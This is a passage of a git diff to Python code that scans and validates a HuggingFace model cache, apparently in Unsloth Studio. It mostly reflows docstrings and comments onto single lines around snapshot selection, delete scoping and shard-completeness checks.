confirm the emptiness directly before believing st_size.if blocks == 0 and _holds_no_data(path):return 0if sys.platform == "win32":@@ -310,11 +235,7 @@ def blob_bytes_present(path: Path) -> int:def _holds_no_data(path: Path) -> bool:- """Whether the file has no allocated extent anywhere, asked of the kernel rather than- inferred. ``SEEK_DATA`` past the end of the last extent is ENXIO, so a file with nothing- written raises on the very first seek. Every other answer -- an unsupported seek, an- unreadable path -- leaves the caller's size fallback in charge.- """+ """Whether the file has no allocated extent anywhere, asked of the kernel rather than inferred. ``SEEK_DATA`` past the end of the last extent is ENXIO, so a file with nothing written raises on the very first seek; every other answer, an unsupported seek or an unreadable path, leaves the caller's size fallback in charge."""seek_data = getattr(os, "SEEK_DATA", None)if seek_data is None:return False@@ -358,12 +279,7 @@ def _windows_allocated_size(path: Path) -> Optional[int]:def snapshot_selection_key(snapshot: Path) -> tuple[float, str]:- """The one ordering every snapshot selector uses: mtime, then resolved path.-- mtime alone is not a total order, and each selector broke ties by its own- iteration order (frozenset vs iterdir), so the inventory row and the variant- picker could name different snapshots. The path breaks ties identically.- """+ """The one ordering every snapshot selector uses: mtime, then resolved path. mtime alone is not a total order, and each selector broke ties by its own iteration order (frozenset vs iterdir), so the inventory row and the variant picker could name different snapshots. The path breaks ties identically."""try:mtime = snapshot.stat().st_mtimeexcept OSError:@@ -375,11 +291,7 @@ def snapshot_selection_key(snapshot: Path) -> tuple[float, str]:def latest_snapshot_dir(repo_dir: Path) -> Optional[Path]:- """Newest immediate child of ``repo_dir/snapshots``, or None.-- mtime is the signal huggingface_hub's from_pretrained resolves to; ties fall- to ``snapshot_selection_key`` so every caller names the same directory.- """+ """Newest immediate child of ``repo_dir/snapshots``, or None. mtime is the signal huggingface_hub's from_pretrained resolves to; ties fall to ``snapshot_selection_key`` so every caller names the same directory."""snapshots_dir = repo_dir / "snapshots"try:if not snapshots_dir.is_dir():@@ -511,17 +423,7 @@ def latest_snapshot_from_cache_path(def snapshot_has_broken_symlinks(snapshot: Path) -> bool:- """Whether ``snapshot`` links to a blob that is not finalized.-- Scoped to one snapshot on purpose. A ``.incomplete`` blob under ``blobs/``- belongs to whichever revision or scoped file set is fetching it, and the cache- is shared, so its presence says nothing about the revision being validated.- What does is a link this snapshot owns whose target is not there yet.-- Windows hydrates the cache with copies rather than links, so there is nothing- to dangle: a half-fetched file is simply absent, which the payload inventory- catches instead.- """+ """Whether ``snapshot`` links to a blob that is not finalized. Scoped to one snapshot on purpose: a ``.incomplete`` blob under ``blobs/`` belongs to whichever revision or scoped file set is fetching it, and the cache is shared, so its presence says nothing about the revision being validated, whereas a link this snapshot owns whose target is not there yet does. Windows hydrates the cache with copies rather than links, so there is nothing to dangle: a half-fetched file is simply absent, which the payload inventory catches instead."""try:for entry in snapshot.rglob("*"):if entry.is_symlink() and not entry.exists():@@ -544,13 +446,7 @@ def iter_repo_cache_dirs(*,scan_errors: Optional[list] = None,) -> Iterator[Path]:- """Cache dirs for this repo, skipping a root that cannot be listed.-- ``scan_errors`` collects those skips. Suppressing them is right for every caller that- only wants the dirs, but hydration reads "no dirs" as "the cache was wiped and this- persisted job can be retired" -- and a root that raised EACCES or EIO is not evidence- of that. A caller that passes a list can tell the two apart.- """+ """Cache dirs for this repo, skipping a root that cannot be listed. ``scan_errors`` collects those skips: suppressing them is right for every caller that only wants the dirs, but hydration reads "no dirs" as "the cache was wiped and this persisted job can be retired", and a root that raised EACCES or EIO is not evidence of that. A caller that passes a list can tell the two apart."""target = target_dir_name(repo_type, repo_id)for root in hf_cache_roots(scan_errors = scan_errors):try:@@ -599,7 +495,6 @@ def iter_active_repo_cache_dirs(root: Optional[Path] = None,scan_errors: Optional[list] = None,) -> Iterator[Path]:- # The stat itself can fail on a restricted root, and that is not evidence of absence.root = hf_cache_root(root = root, scan_errors = scan_errors)if root is None:return@@ -622,17 +517,14 @@ def preferred_repo_cache_dirs(active_root: Optional[Path] = None,scan_errors: Optional[list] = None,) -> list[Path]:- # iter_active_repo_cache_dirs already matches case-insensitively, so the canonical name below is- # only ever a placeholder for a repo dir that is not there yet.+ # iter_active_repo_cache_dirs already matches case-insensitively, so the canonical name below is only ever a placeholder for a repo dir that is not there yet.active_entries = list(iter_active_repo_cache_dirs(repo_type, repo_id, root = active_root, scan_errors = scan_errors))if active_entries:return active_entriesif force_active:- # A running or cancelling job writes into the active root and nowhere else, so its progress may- # only be read from there: hf_cache_root returns None for a root not yet created, and falling- # through would read a previous cache's completed copy as this run's progress.+ # A running or cancelling job writes into the active root and nowhere else, so its progress may only be read from there: hf_cache_root returns None for a root not yet created, and falling through would read a previous cache's completed copy as this run's progress.root = hf_cache_root(root = active_root) or active_root or _configured_hub_cache()if root is not None:canonical = repo_cache_dir_name(repo_type, repo_id)@@ -641,8 +533,7 @@ def preferred_repo_cache_dirs(def _configured_hub_cache() -> Optional[Path]:- # Path()-wrapped: the setting is typed Path, but a caller handing back a str would turn `root /- # name` into a TypeError that surfaces as an empty progress reading.+ # Path()-wrapped: the setting is typed Path, but a caller handing back a str would turn `root / name` into a TypeError that surfaces as an empty progress reading.try:from utils.hf_cache_settings import get_hf_cache_pathsconfigured = get_hf_cache_paths().hub_cache@@ -740,14 +631,7 @@ def purge_repo_cache_dirs(def scoped_delete_root(repo_type: str, repo_id: str, cache_path: Optional[str]) -> Optional[Path]:- """Resolve the single cache root a delete of this repo may touch.-- Returns the active hub cache when *cache_path* is falsy, the owning cache- root when *cache_path* points inside a known cache, or ``None`` when- *cache_path* is set but not inside any known cache (caller should reject).- This keeps a delete of one inventory row from removing copies in other,- previously selected caches.- """+ """Resolve the single cache root a delete of this repo may touch. Returns the active hub cache when *cache_path* is falsy, the owning cache root when *cache_path* points inside a known cache, or ``None`` when *cache_path* is set but not inside any known cache (caller should reject). This keeps a delete of one inventory row from removing copies in other, previously selected caches."""from utils.hf_cache_settings import get_hf_cache_pathsif not cache_path:@@ -775,13 +659,7 @@ def scoped_delete_root(repo_type: str, repo_id: str, cache_path: Optional[str])def resolve_delete_target_root(repo_type: str, repo_id: str, cache_path: Optional[str], owner_roots) -> Optional[Path]:- """Pick the single cache root a delete of this repo should target.-- An explicit *cache_path* wins (``None`` when it is not a known cache, so the- caller can reject it). Otherwise prefer the active cache when it holds a- copy, else the sole cache that does -- so a model that lives only in a- previously selected cache stays deletable while other caches are untouched.- """+ """Pick the single cache root a delete of this repo should target. An explicit *cache_path* wins (``None`` when it is not a known cache, so the caller can reject it). Otherwise prefer the active cache when it holds a copy, else the sole cache that does, so a model that lives only in a previously selected cache stays deletable while other caches are untouched."""if cache_path:return scoped_delete_root(repo_type, repo_id, cache_path)from utils.hf_cache_settings import get_hf_cache_paths@@ -796,28 +674,12 @@ def resolve_delete_target_root(def with_load_subdirs(model_name: str, names: tuple[str, ...]) -> tuple[str, ...]:- """Extend snapshot filenames with the subdirectories a load actually reads.-- Spark-TTS / BiCodec keep the trainable model under ``<snapshot>/LLM``, so such a- snapshot carries no root-level ``config.json`` and no root-level weights. Every- cache probe that decides "is this snapshot usable" has to agree on that, or the- snapshot resolves in one place and is rejected in the next: the start preflight, the- worker's revalidation and the provenance attester each get their own answer.-- Detection can raise offline or for a gated repo, so a failure degrades to root-only.-- Asked offline on purpose. Every caller here is deciding whether a cache already on- disk is usable, which was pure filesystem work before this helper existed; letting- it reach the hub would put a network round trip, with no timeout, in front of local- snapshot resolution. The subdir layout is a property of the cached snapshot, so the- local answer is the correct one here.- """+ """Extend snapshot filenames with the subdirectories a load actually reads. Spark-TTS / BiCodec keep the trainable model under ``<snapshot>/LLM``, so such a snapshot carries no root-level ``config.json`` and no root-level weights, and every cache probe that decides "is this snapshot usable" has to agree on that, or the snapshot resolves in one place and is rejected in the next: the start preflight, the worker's revalidation and the provenance attester each get their own answer. Detection can raise offline or for a gated repo, so a failure degrades to root-only. Asked offline on purpose: every caller here is deciding whether a cache already on disk is usable, which was pure filesystem work before this helper existed, and letting it reach the hub would put a network round trip, with no timeout, in front of local snapshot resolution. The subdir layout is a property of the cached snapshot, so the local answer is the correct one here."""try:from utils.security import security_load_subdirssubdirs = security_load_subdirs(model_name, local_files_only = True)except Exception:- # Degrading to root-only is fail-closed at every caller, but a real cache permission or corruption- # fault then reaches the user as "your cached model isn't cached" with no clue why.+ # Degrading to root-only is fail-closed at every caller, but a real cache permission or corruption fault then reaches the user as "your cached model isn't cached" with no clue why.from loggers import get_loggerget_logger(__name__).debug("Load-subdir detection failed for %s; using root only.",diff --git a/studio/backend/hub/utils/inventory_scan.py b/studio/backend/hub/utils/inventory_scan.pyindex c9c2a204ce2..750c39dc714 100644--- a/studio/backend/hub/utils/inventory_scan.py+++ b/studio/backend/hub/utils/inventory_scan.py@@ -1,15 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""HF cache inventory scanner.--Read-only walks of the HuggingFace hub cache plus legacy/default-cache locations. Builds the foundation that Hub inventory endpoints-and the DownloadRegistry both consume.--The worker spawn / transport-marker preparation / DownloadRegistry-layers built on top of these primitives live in download_registry.py.-"""+"""HF cache inventory scanner: read-only walks of the HuggingFace hub cache plus legacy/default cache locations, building the foundation the Hub inventory endpoints and the DownloadRegistry consume. The worker spawn / transport-marker preparation / DownloadRegistry layers built on these primitives live in download_registry.py."""from __future__ import annotations@@ -54,8 +46,7 @@ from hub.utils.hf_cache_state import ()from utils.paths.path_utils import drop_appledouble_metadata, is_appledouble_metadata-# Inventory is invalidated explicitly on every app-driven cache mutation, so this TTL only bounds-# staleness from out-of-band edits.+# Inventory is invalidated explicitly on every app-driven cache mutation, so this TTL only bounds staleness from out-of-band edits._HF_CACHE_SCANS_TTL_SECONDS = 15.0_GGUF_SPLIT_RE = re.compile(r"-(\d{3,})-of-(\d{3,})(?=\.gguf$)", re.IGNORECASE)# transformers shard naming: each shard names the set's total.@@ -74,8 +65,7 @@ class _HfCacheScanFlight:_hf_cache_scans_flight: Optional[_HfCacheScanFlight] = None_hf_cache_scans_result: Optional[list] = None_hf_cache_scans_cached_at: float = 0.0-# A scan tags itself with the epoch it began under, so an invalidation mid-scan makes the in-flight-# result neither cached nor served to callers that arrived after the mutation.+# A scan tags itself with the epoch it began under, so an invalidation mid-scan makes the in-flight result neither cached nor served to callers that arrived after the mutation._hf_cache_scans_epoch: int = 0_T = TypeVar("_T")@@ -126,8 +116,7 @@ def all_hf_cache_scans() -> list:return list(_hf_cache_scans_result)start_epoch = _hf_cache_scans_epochflight = _hf_cache_scans_flight- # Only coalesce onto an in-flight scan from the current epoch, so post-mutation callers never- # receive pre-mutation data.+ # Only coalesce onto an in-flight scan from the current epoch, so post-mutation callers never receive pre-mutation data.if flight is None or flight.epoch != start_epoch:flight = _HfCacheScanFlight(event = threading.Event(), epoch = start_epoch)_hf_cache_scans_flight = flight@@ -164,12 +153,7 @@ def all_hf_cache_scans() -> list:def _cache_entries_to_ignore() -> frozenset:- """huggingface_hub's ignore list: a stray OS file is not corruption.-- Read from upstream, not frozen: newer hub versions skip more names (``Thumbs.db``,- ``desktop.ini``), and hardcoding the old set made an Explorer file read as corruption. The- literal is the fallback.- """+ """huggingface_hub's ignore list: a stray OS file is not corruption. Read from upstream, not frozen, since newer hub versions skip more names (``Thumbs.db``, ``desktop.ini``) and hardcoding the old set made an Explorer file read as corruption. The literal is the fallback."""try:from huggingface_hub.utils import _cache_managernames = getattr(_cache_manager, "FILES_TO_IGNORE", None)@@ -184,8 +168,7 @@ _CACHE_ENTRIES_TO_IGNORE = _cache_entries_to_ignore()_HF_REPO_TYPES = frozenset({"model", "dataset", "space"})-# Mirrors huggingface_hub's Cached{File,Revision,Repo}Info field-for-field; frozen because-# HFCacheInfo.delete_revisions() set-diffs revisions.+# Mirrors huggingface_hub's Cached{File,Revision,Repo}Info field-for-field; frozen because HFCacheInfo.delete_revisions() set-diffs revisions.@dataclass(frozen = True)class _RecoveredFileInfo:file_name: str@@ -257,12 +240,7 @@ def _read_refs_by_commit(refs_dir: Path) -> Optional[dict[str, set[str]]]:def _recover_repo_dropped_by_scan(repo_dir: Path) -> Optional[_RecoveredRepoInfo]:- """Recover readable revisions from a repo omitted by ``scan_cache_dir``.-- Dangling refs, broken snapshot links, and stray snapshot files can hide an otherwise usable- repo. Skip those bad entries and rebuild a read-only row from the intact files. Return None- when nothing remains or the on-disk state does not explain the omission.- """+ """Recover readable revisions from a repo omitted by ``scan_cache_dir``. Dangling refs, broken snapshot links and stray snapshot files can hide an otherwise usable repo, so skip those bad entries and rebuild a read-only row from the intact files. None when nothing remains or the on-disk state does not explain the omission."""identity = _hf_repo_identity(repo_dir.name)if identity is None:return None@@ -288,7 +266,6 @@ def _recover_repo_dropped_by_scan(repo_dir: Path) -> Optional[_RecoveredRepoInfocontinuetry:if not snapshot.is_dir():- # A stray file is not a revision.skipped += 1continueentries = drop_appledouble_metadata(sorted(snapshot.rglob("*")))@@ -334,7 +311,6 @@ def _recover_repo_dropped_by_scan(repo_dir: Path) -> Optional[_RecoveredRepoInfolast_modified = last_modified,))- # Nothing fetched yet, so the repo is not on disk.if not revisions:return None# Nothing here explains why upstream omitted the repo.@@ -422,11 +398,7 @@ def _compute_all_hf_cache_scans() -> list:def default_ref_snapshot(repo_dir: Path) -> Optional[Path]:- """Snapshot dir that ``refs/main`` names in *repo_dir*, or ``None``.-- Where ``from_pretrained(repo_id)`` lands, so the repo id is safe as a load id only when this- matches the snapshot the row advertises.- """+ """Snapshot dir that ``refs/main`` names in *repo_dir*, or ``None``. Where ``from_pretrained(repo_id)`` lands, so the repo id is safe as a load id only when this matches the snapshot the row advertises."""ref_path = repo_dir / "refs" / "main"try:# No strip: huggingface_hub matches raw ref contents to the dir name.@@ -445,15 +417,7 @@ def default_ref_snapshot(repo_dir: Path) -> Optional[Path]:def token_fingerprint(hf_token: HfTokenArg) -> str:- """16-char SHA256 prefix used as a cache-key qualifier for gated repos.-- Lets per-token size/snapshot caches refuse to serve a previously- fetched value back to a different token (a private/gated repo's- metadata is only valid for the credential that fetched it).-- A forced-anonymous caller is a different credential from one that may still fall- back to the ambient token, so it takes its own identity.- """+ """16-char SHA256 prefix used as a cache-key qualifier for gated repos, so per-token size/snapshot caches refuse to serve a previously fetched value back to a different token. A forced-anonymous caller is a different credential from one that may still fall back to the ambient token, so it takes its own identity."""if is_anonymous(hf_token):return ANONYMOUS_CACHE_IDENTITYif not hf_token:@@ -464,13 +428,7 @@ def token_fingerprint(hf_token: HfTokenArg) -> str:def resolve_hf_cache_realpath(repo_dir: Path) -> Optional[str]:- """Pick the most useful on-disk path for a HF cache repo dir.-- Prefers the most-recent snapshot dir (what ``from_pretrained``- actually points at). Falls back to the cache repo root. Returns the- resolved realpath so symlinks under ``snapshots/`` are followed back- to ``blobs/``.- """+ """Pick the most useful on-disk path for a HF cache repo dir: the most-recent snapshot dir (what ``from_pretrained`` points at), else the cache repo root. Returns the resolved realpath so symlinks under ``snapshots/`` are followed back to ``blobs/``."""try:latest = latest_snapshot_dir(repo_dir)if latest is not None:@@ -485,16 +443,7 @@ def resolve_snapshot_dir_for_scan(repo_id: str,repo_cache_dir: Optional[Path] = None,) -> Optional[Path]:- """Latest snapshot dir for a cache row, or the first populated HF cache root.-- Scanner-side counterpart to snapshot_download()'s return value (which the- scanner cannot access). With a *repo_cache_dir*, returns its newest- snapshot. Otherwise scans roots in priority order (active, legacy, default)- and returns the newest snapshot in the first root that holds one; active is- where snapshot_download writes, so it is authoritative. Within a root,- picks by mtime (what from_pretrained resolves to) rather than refs/main,- since the user may have downloaded a non-main commit.- """+ """Latest snapshot dir for a cache row, or the first populated HF cache root. Scanner-side counterpart to snapshot_download()'s return value, which the scanner cannot access. With a *repo_cache_dir*, returns its newest snapshot; otherwise scans roots in priority order (active, legacy, default) and returns the newest snapshot in the first root that holds one, active being where snapshot_download writes. Within a root, picks by mtime (what from_pretrained resolves to) rather than refs/main, since the user may have downloaded a non-main commit."""if repo_cache_dir is not None:latest = latest_snapshot_dir(repo_cache_dir)if latest is None:@@ -587,11 +536,7 @@ def _is_latest_snapshot(repo_cache_dir: Path, snapshot_dir: Path) -> bool:def _default_ref_names_an_absent_snapshot(repo_cache_dir: Path) -> bool:- """Whether ``refs/main`` is present and names a commit with no snapshot dir.-- The window between ``snapshot_download`` rewriting the ref and the first file landing. A- *missing* ref is different: a commit-pinned fetch never writes one.- """+ """Whether ``refs/main`` is present and names a commit with no snapshot dir: the window between ``snapshot_download`` rewriting the ref and the first file landing. A *missing* ref is different, since a commit-pinned fetch never writes one."""ref_path = repo_cache_dir / "refs" / "main"try:commit = ref_path.read_text(encoding = "utf-8")@@ -606,20 +551,12 @@ def _default_ref_names_an_absent_snapshot(repo_cache_dir: Path) -> bool:def repo_id_will_not_resolve(repo_cache_dir: Path) -> bool:- """Whether loading *repo_cache_dir* by repo id lands on nothing.-- The active cache normally makes the id the right target, but not while ``refs/main`` names a- commit with no directory: the load finds nothing even though a snapshot sits beside it.- """+ """Whether loading *repo_cache_dir* by repo id lands on nothing. The active cache normally makes the id the right target, but not while ``refs/main`` names a commit with no directory: the load finds nothing even though a snapshot sits beside it."""return _default_ref_names_an_absent_snapshot(repo_cache_dir)def default_ref_offers_no_whole_quant(repo_cache_dir: Path) -> bool:- """Whether ``refs/main`` resolves to a snapshot whose every quant is short a shard.-- Loading by repo id follows that ref, so such a row needs a snapshot pinned even though the- id resolves. A ref naming no snapshot belongs to ``repo_id_will_not_resolve``.- """+ """Whether ``refs/main`` resolves to a snapshot whose every quant is short a shard. Loading by repo id follows that ref, so such a row needs a snapshot pinned even though the id resolves. A ref naming no snapshot belongs to ``repo_id_will_not_resolve``."""snapshot = default_ref_snapshot(repo_cache_dir)if snapshot is None:return False@@ -630,11 +567,7 @@ def default_ref_offers_no_whole_quant(repo_cache_dir: Path) -> bool:def _repo_has_a_dangling_ref(repo_cache_dir: Path) -> bool:- """Whether ANY ref under ``refs/`` names a commit with no snapshot dir.-- Check every ref because recovery is not limited to ``refs/main``. Repos recovered only for- unreadable entries correctly return False.- """+ """Whether ANY ref under ``refs/`` names a commit with no snapshot dir. Every ref, because recovery is not limited to ``refs/main``; repos recovered only for unreadable entries correctly return False."""refs_by_commit = _read_refs_by_commit(repo_cache_dir / "refs")if refs_by_commit is None:return False@@ -661,17 +594,7 @@ def _repo_signal_applies_to_snapshot(*,quants: Optional[bool] = None,) -> bool:- """Whether a repo-wide partial signal describes *snapshot_dir*.-- Cancel markers, ``.incomplete`` blobs and the repo-wide manifest carry no revision and are- rewritten by each attempt, so they belong to the newest snapshot; an older complete one must not- inherit them and lose ``can_chat``. With nothing to attribute against, keep them. A ``refs/main``- naming a commit with no directory pins that attempt to a revision absent from disk, so no- snapshot inherits it, but that excuses only a snapshot that can serve the row.-- Keyed on ``refs/main`` alone, unlike the recovery guard: where ``refs/main`` resolves the row- loads by id and the manifest describes what that load reads, so a stale tag must not suppress it.- """+ """Whether a repo-wide partial signal describes *snapshot_dir*. Cancel markers, ``.incomplete`` blobs and the repo-wide manifest carry no revision and are rewritten by each attempt, so they belong to the newest snapshot and an older complete one must not inherit them and lose ``can_chat``; with nothing to attribute against, keep them. A ``refs/main`` naming a commit with no directory pins that attempt to a revision absent from disk, but that excuses only a snapshot that can serve the row. Keyed on ``refs/main`` alone, unlike the recovery guard: where it resolves the row loads by id and the manifest describes what that load reads, so a stale tag must not suppress it."""if repo_cache_dir is None or snapshot_dir is None:return Trueif _default_ref_names_an_absent_snapshot(repo_cache_dir):@@ -727,8 +650,7 @@ def _repo_cache_dir_has_snapshot_legacy_partial() -> bool:if _repo_cache_dir_has_non_gguf_broken_snapshot_symlinks(repo_cache_dir, snapshot_dir):return True- # ".incomplete" blobs carry no revision, so they need attributing; judged on this row's weights- # alone, since a torn quant beside them is another row's payload.+ # ".incomplete" blobs carry no revision, so they need attributing; judged on this row's weights alone, since a torn quant beside them is another row's payload.if snapshot_dir is not None and not _repo_signal_applies_to_snapshot(repo_cache_dir, snapshot_dir, quants = False):@@ -779,8 +701,7 @@ def _completed_gguf_variants(snapshot_dir: Optional[Path]) -> set[str]:snapshot_dir = _resolve_gguf_dir(snapshot_dir) or snapshot_dir# Keyed on quant, then on shard family (directory, prefix, total); one quant can cover several.split_groups: dict[str, dict[tuple[str, str, int], set[int]]] = {}- # Lister and loader both take the lexicographically first file, hence the sort.- # None = no total named; _UNJUDGEABLE_FAMILY = bad spec.+ # Lister and loader both take the lexicographically first file, hence the sort. None = no total named; _UNJUDGEABLE_FAMILY = bad spec.selected: dict[str, object] = {}try:paths = sorted(snapshot_dir.rglob("*"))@@ -801,13 +722,11 @@ def _completed_gguf_variants(snapshot_dir: Optional[Path]) -> set[str]:or is_imatrix_filename(rel)):continue- # Metadata vouching for a quant marks a torn snapshot ready: a set whose sidecars are all present- # answers the shard count exactly as the real files would.+ # Metadata vouching for a quant marks a torn snapshot ready: a set whose sidecars are all present answers the shard count exactly as the real files would.if is_appledouble_metadata(path):continuequant = gguf_variant_key(rel)- # A big-endian build is never offered, so it cannot vouch for the quant; judged with the loader's- # label, since the two extractors disagree on F16-be-checkpoint-Q4_K_M.+ # A big-endian build is never offered, so it cannot vouch for the quant; judged with the loader's label, since the two extractors disagree on F16-be-checkpoint-Q4_K_M.from utils.models.model_config import _extract_quant_label as _loader_quantif is_big_endian_gguf_path(rel, _loader_quant(rel)):@@ -860,8 +779,7 @@ _LOADER_WEIGHT_NAMES = {def _weight_family_kind(name: str) -> Optional[str]:- """``"base"``, ``"adapter"``, or ``None`` for a training artefact such as ``optimizer.bin`` that- no row loads, so an auxiliary set is never counted as a runnable family."""+ """``"base"``, ``"adapter"``, or ``None`` for a training artefact such as ``optimizer.bin`` that no row loads, so an auxiliary set is never counted as a runnable family."""# Local import: hub.services imports hub.utils.from hub.services.models.common import (_is_adapter_weight_name,@@ -884,7 +802,6 @@ class _SnapshotPayload(NamedTuple):groups: dict# Suffixes per kind holding a file that names no total, i.e. a family of one.whole: dict- # Required configs that exist but are empty, by format.unreadable_config_formats: frozenset# Shard families the loader picks and then fails on.unloadable_families: frozenset@@ -892,27 +809,19 @@ class _SnapshotPayload(NamedTuple):invisible_families: frozenset# Kinds whose payload is here but names no family this walk groups.ungrouped: frozenset- # Kinds whose only ungroupable payload (.ckpt, diffusion prefix) is empty.empty_ungrouped: frozenset- # Suffixes per kind whose unsharded name is present but empty.empty_whole: dict# Kinds whose weights are here but only under a subdirectory no loader opens.nested: frozenset# Suffixes whose canonical root index exists, shards recovered or not.root_indexes: frozenset- # Of those, the ones naming a file that is missing or empty.unusable_root_indexes: frozenset# Kinds whose root payload no loader opens by name, e.g. an arbitrary foo.safetensors.unreachable_root: frozensetdef _root_file_is_empty(snapshot_dir: Path, name: str) -> Optional[bool]:- """None when *name* is not a file at the root, else whether it is zero bytes.-- The loaders open exact paths, so the filesystem answers the case question: a Config.json serves- config.json on a case-insensitive volume and not on a case-sensitive one, and lowercasing every- basename got that wrong in one direction or the other.- """+ """None when *name* is not a file at the root, else whether it is zero bytes. The loaders open exact paths, so the filesystem answers the case question: a Config.json serves config.json on a case-insensitive volume and not on a case-sensitive one, and lowercasing every basename got that wrong in one direction or the other."""path = snapshot_dir / nametry:if not path.is_file():@@ -923,11 +832,7 @@ def _root_file_is_empty(snapshot_dir: Path, name: str) -> Optional[bool]:def _required_config_is_unreadable(path: Path, empty: bool) -> bool:- """Whether a config the loader requires is one it cannot use.-- Empty is the obvious case, but from_pretrained parses this file before it looks at a single- weight, so a truncated or non-object one fails the load just as surely.- """+ """Whether a config the loader requires is one it cannot use. Empty is the obvious case, but from_pretrained parses this file before it looks at a single weight, so a truncated or non-object one fails the load just as surely."""if empty:return Truetry:@@ -938,23 +843,13 @@ def _required_config_is_unreadable(path: Path, empty: bool) -> bool:def _shard_family_is_whole(family: tuple, indices: set) -> bool:- """Whether *indices* is exactly 1..total for *family*.-- Compared without building the range: the total comes out of a filename, so it can name a set- far larger than anything on disk.- """+ """Whether *indices* is exactly 1..total for *family*, compared without building the range: the total comes out of a filename, so it can name a set far larger than anything on disk."""total = family[2]return bool(indices) and len(indices) == total and min(indices) == 1 and max(indices) == totaldef _weight_shard_family(snapshot_dir: Path, path: Path, match) -> tuple:- """The key grouping ``path`` with its siblings.-- The suffix is part of the key: a .safetensors shard and a .bin shard sharing a prefix and a- total are different sets, and merging them made two half sets look like one whole one.- Numbering that cannot be satisfied (index 0, or one past the total) still names a family:- dropping it left a snapshot that classifies by filename with no family to be short of.- """+ """The key grouping ``path`` with its siblings. The suffix is part of the key: a .safetensors shard and a .bin shard sharing a prefix and a total are different sets, and merging them made two half sets look like one whole one. Numbering that cannot be satisfied (index 0, or one past the total) still names a family, since dropping it left a snapshot that classifies by filename with no family to be short of."""return (path.parent.relative_to(snapshot_dir).as_posix(),path.name[: match.start()],@@ -964,12 +859,7 @@ def _weight_shard_family(snapshot_dir: Path, path: Path, match) -> tuple:def _snapshot_payload(snapshot_dir: Path) -> Optional[_SnapshotPayload]:- """Classify *snapshot_dir* from its own contents, or None if it cannot be read.-- Untrusted, like ``_repo_non_gguf_model_payload``'s per-revision pass: a directory serves a load- only if it holds the config its format needs. Presence is by filename, so an empty config still- classifies and is reported separately.- """+ """Classify *snapshot_dir* from its own contents, or None if it cannot be read. Untrusted, like ``_repo_non_gguf_model_payload``'s per-revision pass: a directory serves a load only if it holds the config its format needs. Presence is by filename, so an empty config still classifies and is reported separately."""from hub.services.models.common import (_classify_non_gguf_model_format,_is_adapter_weight_name,@@ -1022,7 +912,6 @@ def _snapshot_payload(snapshot_dir: Path) -> Optional[_SnapshotPayload]:empty_kind = _weight_family_kind(path.name)empty_match = _WEIGHT_SHARD_RE.search(path.name)if empty_kind is None:- # Judged on nothing else, so remember it. Same set the walk below counts.if (not _is_adapter_weight_name(name)and not _is_training_artefact_name(name)@@ -1059,7 +948,6 @@ def _snapshot_payload(snapshot_dir: Path) -> Optional[_SnapshotPayload]:base_evidence = not is_adapterkind = _weight_family_kind(path.name)if kind is None:- # Ungroupable but still a payload; only a root copy is found.if base_evidence:if not at_root:nested.add("base")@@ -1092,12 +980,10 @@ def _snapshot_payload(snapshot_dir: Path) -> Optional[_SnapshotPayload]:if _required_config_is_unreadable(snapshot_dir / config_name, config_empty):unreadable.update(formats)model_format = _classify_non_gguf_model_format(**flags, trusted_hf_cache_repo = False)- # from_pretrained never globs, so shards with no index are invisible and neither serve nor veto; an- # unusable index is picked and failed on instead.+ # from_pretrained never globs, so shards with no index are invisible and neither serve nor veto; an unusable index is picked and failed on instead.unloadable: set = set()invisible: set = set()- # Selected by its own name, so it counts even when the walk grouped no shard of it, and every- # weight_map entry resolves against the index.+ # Selected by its own name, so it counts even when the walk grouped no shard of it, and every weight_map entry resolves against the index.root_indexes: set[str] = set()unusable_root_indexes: set[str] = set()for suffix, canonical in _LOADER_WEIGHT_NAMES["base"].items():@@ -1143,20 +1029,14 @@ def _snapshot_payload(snapshot_dir: Path) -> Optional[_SnapshotPayload]:def _index_cannot_serve_its_shards(index_path: Path, family_files: set[str]) -> bool:- """Whether *index_path* would fail to hand ``from_pretrained`` the family in *family_files*.-- Existing is not enough: the loader parses it and opens every ``weight_map`` name, so a truncated- index or one naming a shard never written is as unloadable as no index at all. The map is also- the only list of files read, so one covering part of the numbered family silently drops the rest.- """+ """Whether *index_path* would fail to hand ``from_pretrained`` the family in *family_files*. Existing is not enough: the loader parses it and opens every ``weight_map`` name, so a truncated index or one naming a shard never written is as unloadable as no index at all, and the map is also the only list of files read, so one covering part of the numbered family silently drops the rest."""try:if not index_path.is_file() or index_path.stat().st_size <= 0:return Truewith index_path.open(encoding = "utf-8") as handle:index = json.load(handle)except (OSError, UnicodeDecodeError, ValueError, RecursionError):- # RecursionError escapes every caller's fail-open guard, and the loader parses this index with the- # same json module, so one too deep to parse there cannot serve its shards here either.+ # RecursionError escapes every caller's fail-open guard, and the loader parses this index with the same json module, so one too deep to parse there cannot serve its shards here either.return Trueweight_map = index.get("weight_map") if isinstance(index, dict) else Noneif not isinstance(weight_map, dict) or not weight_map:@@ -1167,9 +1047,7 @@ def _index_cannot_serve_its_shards(index_path: Path, family_files: set[str]) ->if not isinstance(shard, str) or not shard:return Trueparts = PurePosixPath(shard.replace("\\", "/"))- # is_absolute() is per flavour: PurePosixPath reads "C:/weights/x.safetensors" as a relative "C:"- # subdirectory, but the join below is a platform Path, so on Windows that name replaces the- # index directory outright.+ # is_absolute() is per flavour: PurePosixPath reads "C:/weights/x.safetensors" as a relative "C:" subdirectory, but the join below is a platform Path, so on Windows that name replaces the index directory outright.windows = PureWindowsPath(shard)if parts.is_absolute() or ".." in parts.parts or windows.is_absolute() or windows.drive:return True@@ -1186,8 +1064,7 @@ def _index_cannot_serve_its_shards(index_path: Path, family_files: set[str]) ->return Trueexcept (OSError, ValueError):return True- # A shard names its own total, so an index listing one of a set has to list the whole set: the- # loader silently drops whatever the map leaves out.+ # A shard names its own total, so an index listing one of a set has to list the whole set: the loader silently drops whatever the map leaves out.declared: dict[tuple[str, str, int], set[int]] = {}for shard in shards:match = _WEIGHT_SHARD_RE.search(shard.name)@@ -1199,12 +1076,7 @@ def _index_cannot_serve_its_shards(index_path: Path, family_files: set[str]) ->def _snapshot_lacks_a_complete_weight_family(snapshot_dir: Path) -> bool:- """Whether the payload *snapshot_dir* carries is short a shard.-- ``from_pretrained`` loads one family, so a whole safetensors set beside an interrupted ``.bin``- one still serves the row. Only the family the classified format names is judged: a snapshot can- hold both a config.json and an adapter_config.json, so the config alone does not say which.- """+ """Whether the payload *snapshot_dir* carries is short a shard. ``from_pretrained`` loads one family, so a whole safetensors set beside an interrupted ``.bin`` one still serves the 